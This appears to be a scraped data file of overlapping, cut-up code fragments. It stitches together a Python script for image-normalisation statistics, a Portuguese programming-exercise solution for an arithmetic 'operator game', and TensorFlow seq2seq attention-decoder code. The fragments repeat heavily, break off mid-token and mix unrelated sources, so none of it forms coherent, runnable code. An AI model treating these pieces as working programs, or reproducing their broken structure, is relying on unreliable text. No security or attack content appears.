normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462]", "img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255. for i in", "[] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path", "img_h)) img = img[:, :, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs", "= [0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1 =", "np import cv2 import os from glob import glob from tqdm import tqdm", "0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185]", "img[:, :, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) /", "stdevs = [], [] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH,", ":].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse()", "{}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468] # normStd =", "= imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB", "= [0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895, 0.44482827999999996,", "= img[:, :, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32)", "--> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) #", "for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img", "0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616,", "img = img[:, :, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs =", "img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img = img[:, :, :,", "normMean = [0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1", "# normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462] #", "means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means))", "import tqdm img_h, img_w = 256, 256 means, stdevs = [], [] img_list", "numpy as np import cv2 import os from glob import glob from tqdm", "import numpy as np import cv2 import os from glob import glob from", "# normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185] #", "# 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean", "256 means, stdevs = [], [] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns", "'*.*')) for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h))", "0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895, 0.44482827999999996, 0.40590465] # [0.22948174999999998,", "from tqdm import tqdm img_h, img_w = 256, 256 means, stdevs = [],", ":, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255. for", "/ 255. for i in range(3): pixels = imgs[:, :, i, :].ravel() #", "in tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img = img[:,", "# normMean = [0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565, 0.20874721] #", "拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean =", "axis=3) imgs = imgs.astype(np.float32) / 255. for i in range(3): pixels = imgs[:,", "import glob from tqdm import tqdm img_h, img_w = 256, 256 means, stdevs", "np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255. for i", "[0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127,", "0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882,", "= np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255. for i in range(3): pixels", "glob from tqdm import tqdm img_h, img_w = 256, 256 means, stdevs =" ]
[ "expressao == '-': if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao ==", "expressao == '+': if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao ==", "expressao == '*': if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram:", "i[0] indice = int(i[1]) - 1 expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y", "resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador = i[0] indice", "in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in", "Pass!') else: print('You Shall All Pass!') except EOFError: break except ValueError: break jogo_do_operador()", "if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador ==", "if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else: print('None Shall Pass!')", "i in resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1]) - 1 expressao =", "expressoes = list() resposta_dos_jogadores = list() jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input())", "int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+': if", "len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else:", "else: print('None Shall Pass!') else: print('You Shall All Pass!') except EOFError: break except", "= int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if", "+ operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x - operador_y", "nome_do_jogador = i[0] indice = int(i[1]) - 1 expressao = i[2] operador_x =", "for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador = i[0]", "'-': if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if", "else: print(jogador, end=' ') else: print('None Shall Pass!') else: print('You Shall All Pass!')", "= int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+': if operador_x + operador_y !=", "expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i", "operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x *", "!= quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador,", "= list() try: quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for", "jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else:", "== '*': if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if", "resposta_dos_jogadores = list() jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input()) for expre in", "jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador", "indice = int(i[1]) - 1 expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y =", "resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1]) - 1 expressao = i[2] operador_x", "end=' ') else: print('None Shall Pass!') else: print('You Shall All Pass!') except EOFError:", "i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', '", "elif expressao == '*': if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if", "if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) !=", "= int(i[1]) - 1 expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=',", "!= operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x - operador_y != operador_z:", "resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1]) -", "elif expressao == '-': if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao", "') else: print('None Shall Pass!') else: print('You Shall All Pass!') except EOFError: break", "- operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x * operador_y", "print('None Shall Pass!') else: print('You Shall All Pass!') except EOFError: break except ValueError:", "!= operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in", "int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+': if operador_x + operador_y != operador_z:", "Shall Pass!') else: print('You Shall All Pass!') except EOFError: break except ValueError: break", "jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else: print('None Shall Pass!') else: print('You Shall", "').split()[1]) if expressao == '+': if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif", "jogo_do_operador(): while True: expressoes = list() resposta_dos_jogadores = list() jogadores_que_erraram = list() try:", "jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif", "if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x", "- 1 expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0])", "if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador)", "expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z =", "jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else: print('None Shall", "in resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1]) - 1 expressao = i[2]", "operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1])", "' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+': if operador_x", "operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x - operador_y !=", "operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao ==", "operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram:", "if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x", "print(jogador) else: print(jogador, end=' ') else: print('None Shall Pass!') else: print('You Shall All", "int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split())))", "for i in resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1]) - 1 expressao", "== jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else: print('None Shall Pass!') else: print('You", "try: quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in", "jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort()", "== '-': if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*':", "!= operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x * operador_y != operador_z:", "range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores:", "int(i[1]) - 1 expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', '", "').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+': if operador_x +", "operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes:", "operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x * operador_y !=", "= i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=',", "operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '*': if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador)", "'*': if operador_x * operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram)", "print(jogador, end=' ') else: print('None Shall Pass!') else: print('You Shall All Pass!') except", "def jogo_do_operador(): while True: expressoes = list() resposta_dos_jogadores = list() jogadores_que_erraram = list()", "for jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ')", "= list() jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes):", "= list() resposta_dos_jogadores = list() jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input()) for", "'+': if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if", "if expressao == '+': if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao", "operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x - operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador)", "quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes):", "range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1])", "for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for", "jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram: if", "while True: expressoes = list() resposta_dos_jogadores = list() jogadores_que_erraram = list() try: quantidade_de_expressoes", "operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+': if operador_x + operador_y", "= int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str,", "True: expressoes = list() resposta_dos_jogadores = list() jogadores_que_erraram = list() try: quantidade_de_expressoes =", "list() resposta_dos_jogadores = list() jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input()) for expre", "input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador =", "operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador", "int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao", "quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end='", "jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else: print('None Shall Pass!') else:", "expressoes.append(list(map(str, input().split()))) for resposta in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador", "in range(quantidade_de_expressoes): resposta_dos_jogadores.append(list(map(str, input().split()))) for i in resposta_dos_jogadores: nome_do_jogador = i[0] indice =", "jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for jogador in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]:", "input().split()))) for i in resposta_dos_jogadores: nome_do_jogador = i[0] indice = int(i[1]) - 1", "<gh_stars>0 def jogo_do_operador(): while True: expressoes = list() resposta_dos_jogadores = list() jogadores_que_erraram =", "list() jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str,", "= i[0] indice = int(i[1]) - 1 expressao = i[2] operador_x = int(expressoes[indice][0])", "== '+': if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-':", "jogadores_que_erraram = list() try: quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split())))", "' ').split()[1]) if expressao == '+': if operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador)", "list() try: quantidade_de_expressoes = int(input()) for expre in range(quantidade_de_expressoes): expressoes.append(list(map(str, input().split()))) for resposta", "1 expressao = i[2] operador_x = int(expressoes[indice][0]) operador_y = int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z", "* operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) jogadores_que_erraram.sort() if jogadores_que_erraram: if len(jogadores_que_erraram) != quantidade_de_expressoes: for", "= int(expressoes[indice][1].replace('=', ' ').split()[0]) operador_z = int(expressoes[indice][1].replace('=', ' ').split()[1]) if expressao == '+':", "operador_x + operador_y != operador_z: jogadores_que_erraram.append(nome_do_jogador) elif expressao == '-': if operador_x -", "in jogadores_que_erraram: if jogador == jogadores_que_erraram[len(jogadores_que_erraram)-1]: print(jogador) else: print(jogador, end=' ') else: print('None" ]
[ "tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that extracts the", "the sequence-to-sequence model. Args: decoder_inputs: A list of 2D Tensors [batch_size x input_size].it", "i-th output in order to generate the i+1-st input, and decoder_inputs will be", "or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum", "of the same length as decoder_inputs of 2D Tensors with shape [batch_size x", "encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] # attention_states:[batch_size", "# attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length", "decoder input. initial_state: 2D Tensor with shape [batch_size x cell.state_size].it is the encoded", "= loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of", "output in order to generate the i+1-st input, and decoder_inputs will be ignored,", "output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding", "of shape [batch_size x cell.state_size]. (Note that in some cases, like basic RNN", ";sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size]", "tensor for symbol :param output_projection: None or a pair (W, B). If provided,", "input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] # attention_states:[batch_size x", "basic RNN cell or GRU cell, outputs and states can be the same.", "of shape [batch_size x input_size]. attention_states: 3D Tensor [batch_size x attn_length x attn_size].it", "vector of input sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell defining the cell", ":return: A loop function \"\"\" def loop_function(prev, _): if output_projection is not None:", "initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size] \"\"\"RNN decoder for the", "(\"GO\" symbol). This can be used for decoding, but also for training to", "= initial_state #[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs", "for each encoder input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state", "[batch_size x output_size], * i is an integer, the step number (when advanced", "by W and added B. :return: A loop function \"\"\" def loop_function(prev, _):", "= tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def", "Tensors with shape [batch_size x output_size] containing generated outputs. state: The state of", "attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None ################################################# for i, inp in", "#[batch_size x attn_length x 1] # attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x", "loop_function(prev, _): if output_projection is not None: prev = tf.matmul(prev, output_projection[0]) + output_projection[1]", "* next is a 2D Tensor of shape [batch_size x input_size]. attention_states: 3D", "attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x", "# 将输出添加到结果列表中 if loop_function is not None: prev = output print(\"rnn_decoder_with_attention ended...\") return", "# 1.get logits of attention for each encoder input. attention_states:[batch_size x attn_length x", "x attn_length x attn_size] \"\"\"RNN decoder for the sequence-to-sequence model. Args: decoder_inputs: A", "of 2D Tensors [batch_size x input_size].it is decoder input. initial_state: 2D Tensor with", "input_size].it is decoder input. initial_state: 2D Tensor with shape [batch_size x cell.state_size].it is", "input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\",", "prev is a 2D Tensor of shape [batch_size x output_size], * i is", "如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function is not None and prev is", "of input sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell defining the cell function", "query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1)", "#batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2)", "though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x", "########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution for", "cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is not None:", "extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that extracts the previous symbol and embeds", "hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1))", "context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size x", "state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is", "can be used for decoding, but also for training to emulate http://arxiv.org/abs/1506.03099. Signature", "p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size]", "shape [batch_size x cell.state_size].it is the encoded vector of input sentences, which represent", "attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder", "[batch_size x cell.state_size]. (Note that in some cases, like basic RNN cell or", "shape [batch_size x output_size], * i is an integer, the step number (when", "input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum of hidden state for each", "of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length))", "1 时刻的s输入 if loop_function is not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with", "output_projection: None or a pair (W, B). If provided, each fed previous output", "some cases, like basic RNN cell or GRU cell, outputs and states can", "# TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style #", "#最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] #", "#[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded:", "sequence-to-sequence model. Args: decoder_inputs: A list of 2D Tensors [batch_size x input_size].it is", "which represent 'thought vector' cell: core_rnn_cell.RNNCell defining the cell function and size. loop_function:", "x attn_length x attn_size].it is represent input X. scope: VariableScope for the created", "attn_length] # 3.get weighted sum of hidden state for each encoder input as", "import tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function", "is a 2D Tensor of shape [batch_size x input_size]. attention_states: 3D Tensor [batch_size", "to the i-th output in order to generate the i+1-st input, and decoder_inputs", "same length as decoder_inputs of 2D Tensors with shape [batch_size x output_size] containing", "or GRU cell, outputs and states can be the same. They are different", "a loop_function that extracts the previous symbol and embeds it. Used by decoder.", "= tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\",", "much attention or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get", "at the final time-step. It is a 2D Tensor of shape [batch_size x", "the step number (when advanced control is needed), * next is a 2D", "i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 